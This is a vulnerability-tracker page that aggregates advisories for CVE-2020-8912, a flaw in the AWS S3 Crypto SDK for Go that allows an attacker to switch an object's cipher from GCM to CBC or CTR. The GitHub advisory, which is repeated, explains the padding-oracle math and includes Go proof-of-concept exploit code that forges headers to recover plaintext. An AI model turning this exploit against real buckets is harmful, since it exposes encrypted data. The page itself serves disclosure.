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In-band key negotiation issue in AWS S3 Crypto SDK for GoLang

CVSS 3.1 2.5 LOWEUVD CVSS 3.1 2.5 CVSS 3.1 · [email protected] · Secondary 2.5 LOWCVSS 3.1 · [email protected] · Primary 2.5 LOWCVSS 2.0 · [email protected] · Primary 2.1 LOWCVSS_V3 Publisher rating LOWFixed by github.com/aws/aws-sdk-go 1.34.0osv · severity unknownKEV status unknown

cve-program · CVE-2020-8912

Published

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Read the publisher's advisory

euvd · EUVD-2022-0887

Published

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Read the publisher's advisory

nvd · CVE-2020-8912

Published

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Read the publisher's advisory

osv · GHSA-7f33-f4f5-xwgw

Published

### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key. An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe. The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct. To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC: AES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i`. AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}`, where `C_{-1} = IV`. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding. Since `AES-Dec(C_i ^ M_i) = CB_i`, if we set `IV' = CB_i ^ 0x10*[16]`, where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0' = C_i ^ M_i'` the resulting one block message `(IV', C_0')` will have valid PKCS5 padding if our guess `M_i'` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10`, the PKCS5 padded empty string. Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01`, `0x0202`, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV'' = IV' ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see. This issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [combined_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/combined_oracle_exploit.go): ```golang func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" { return "", fmt.Errorf("Algorithm is %q, not GCM!", alg) } gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv")) if len(gcmIv) != 12 { return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv)) } fullIv := make([]byte, 16) confirmIv := make([]byte, 16) for i := 0; i < 12; i++ { fullIv[i] = gcmIv[i] ^ 0x10 confirmIv[i] = gcmIv[i] ^ 0x10 } // Set i to the block we want to attempt to decrypt counter := i + 2 for j := 15; j >= 12; j-- { v := byte(counter % 256) fullIv[j] = 0x10 ^ v confirmIv[j] = 0x10 ^ v counter /= 256 } confirmIv[15] ^= 0x11 fullIvEnc := base64.StdEncoding.EncodeToString(fullIv) confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv) success := false // Set plaintextGuess to the guess for the plaintext of this block newData := []byte(plaintextGuess) for j := 0; j < 16; j++ { newData[j] ^= data[16*i+j] } newHeader := header.Clone() newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding") newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc) newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16") input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc) input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { return plaintextGuess, nil } } return "", fmt.Errorf("Block %d could not be decrypted", i) } ```

Read the publisher's advisory

osv · GO-2022-0635

Published

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

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cve-program · CVE-2020-8912

Published

In-band key negotiation issue in AWS S3 Crypto SDK for GoLang

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Source published
11 Aug 2020 19:20:14 UTC
Source modified
4 Aug 2024 10:12:10 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

euvd · EUVD-2022-0887

Published

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can t…

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 11, 2020, 7:20:14 PM

dateUpdated: Aug 4, 2024, 10:12:10 AM

3 related source bulletins · separate from aliases

WID-SEC-W-2024-0794: Dell ECS: Mehrere Schwachstellen

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openSUSE-SU-2024:14599-1: govulncheck-vulndb-0.0.20241213T205935-1.1 on GA media

CVE-2020-10696 · CVE-2020-8912 · CVE-2022-31668 · CVE-2023-26248 · CVE-2023-3676 · CVE-2023-3955 · CVE-2024-12401 · CVE-2024-37032 · CVE-2024-44337 · CVE-2024-45039 · CVE-2024-45337 · CVE-2024-45436 · CVE-2024-46455 · CVE-2024-46528 · CVE-2024-53257 · CVE-2024-53859 · CVE-2024-55601 · CVE-2024-55657 · CVE-2024-55658 · CVE-2024-55659 · CVE-2024-55660

RHSA-2021:3851: Red Hat Security Advisory: Red Hat 3scale API Management 2.11.0 Release - Container Images

CVE-2020-8911 · CVE-2020-8912 · CVE-2021-3442 · CVE-2021-3814 · CVE-2021-23017

Source published
Aug 11, 2020, 7:20:14 PM (timezone not stated)
Source modified
Aug 4, 2024, 10:12:10 AM (timezone not stated)
Saved here
18 Nov 2026 00:29:44 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

nvd · CVE-2020-8912

Published

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can t…

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-327

Original publisher date fields

published: 2020-08-11T20:15:13.323

lastModified: 2026-06-17T03:27:10.440

1 source CPE criteria · context only
  • cpe:2.3:a:amazon:aws_s3_crypto_sdk:*:*:*:*:*:golang:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
11 Aug 2020 20:15:13 UTC
Source modified
17 Jun 2026 03:27:10 UTC
Saved here
24 Oct 2026 17:17:33 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

CVSS 3.1 · [email protected] · Primary · 2.5 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

CVSS 2.0 · [email protected] · Primary · 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N

osv · GHSA-7f33-f4f5-xwgw

Published

In-band key negotiation issue in AWS S3 Crypto SDK for golang

### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key. An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe. The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct. To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC: AES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i`. AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}`, where `C_{-1} = IV`. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding. Since `AES-Dec(C_i ^ M_i) = CB_i`, if we set `IV' = CB_i ^ 0x10*[16]`, where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0' = C_i ^ M_i'` the resulting one block message `(IV', C_0')` will have valid PKCS5 padding if our guess `M_i'` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10`, the PKCS5 padded empty string. Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01`, `0x0202`, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV'' = IV' ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see. This issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [combined_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/combined_oracle_exploit.go): ```golang func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" { return "", fmt.Errorf("Algorithm is %q, not GCM!", alg) } gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv")) if len(gcmIv) != 12 { return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv)) } fullIv := make([]byte, 16) confirmIv := make([]byte, 16) for i := 0; i < 12; i++ { fullIv[i] = gcmIv[i] ^ 0x10 confirmIv[i] = gcmIv[i] ^ 0x10 } // Set i to the block we want to attempt to decrypt counter := i + 2 for j := 15; j >= 12; j-- { v := byte(counter % 256) fullIv[j] = 0x10 ^ v confirmIv[j] = 0x10 ^ v counter /= 256 } confirmIv[15] ^= 0x11 fullIvEnc := base64.StdEncoding.EncodeToString(fullIv) confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv) success := false // Set plaintextGuess to the guess for the plaintext of this block newData := []byte(plaintextGuess) for j := 0; j < 16; j++ { newData[j] ^= data[16*i+j] } newHeader := header.Clone() newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding") newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc) newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16") input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc) input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader) if input.Oracle(bucket, key+"guess") { return plaintextGuess, nil } } return "", fmt.Errorf("Block %d could not be decrypted", i) } ```

Source published
11 Feb 2022 23:23:13 UTC
Source modified
10 Sep 2026 03:49:11 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

Publisher rating · LOW

osv · GO-2022-0635

Published

In-band key negotiation issue in AWS S3 Crypto SDK for golang in github.com/aws/aws-sdk-go

A vulnerability in the in-band key negotiation exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. An attacker with write access to the targeted bucket can change the encryption algorithm of an object in the bucket, which can then allow them to change AES-GCM to AES-CTR. Using this in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

Source published
12 Dec 2024 22:00:07 UTC
Source modified
4 Feb 2026 02:41:58 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 19 Nov 05:53 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current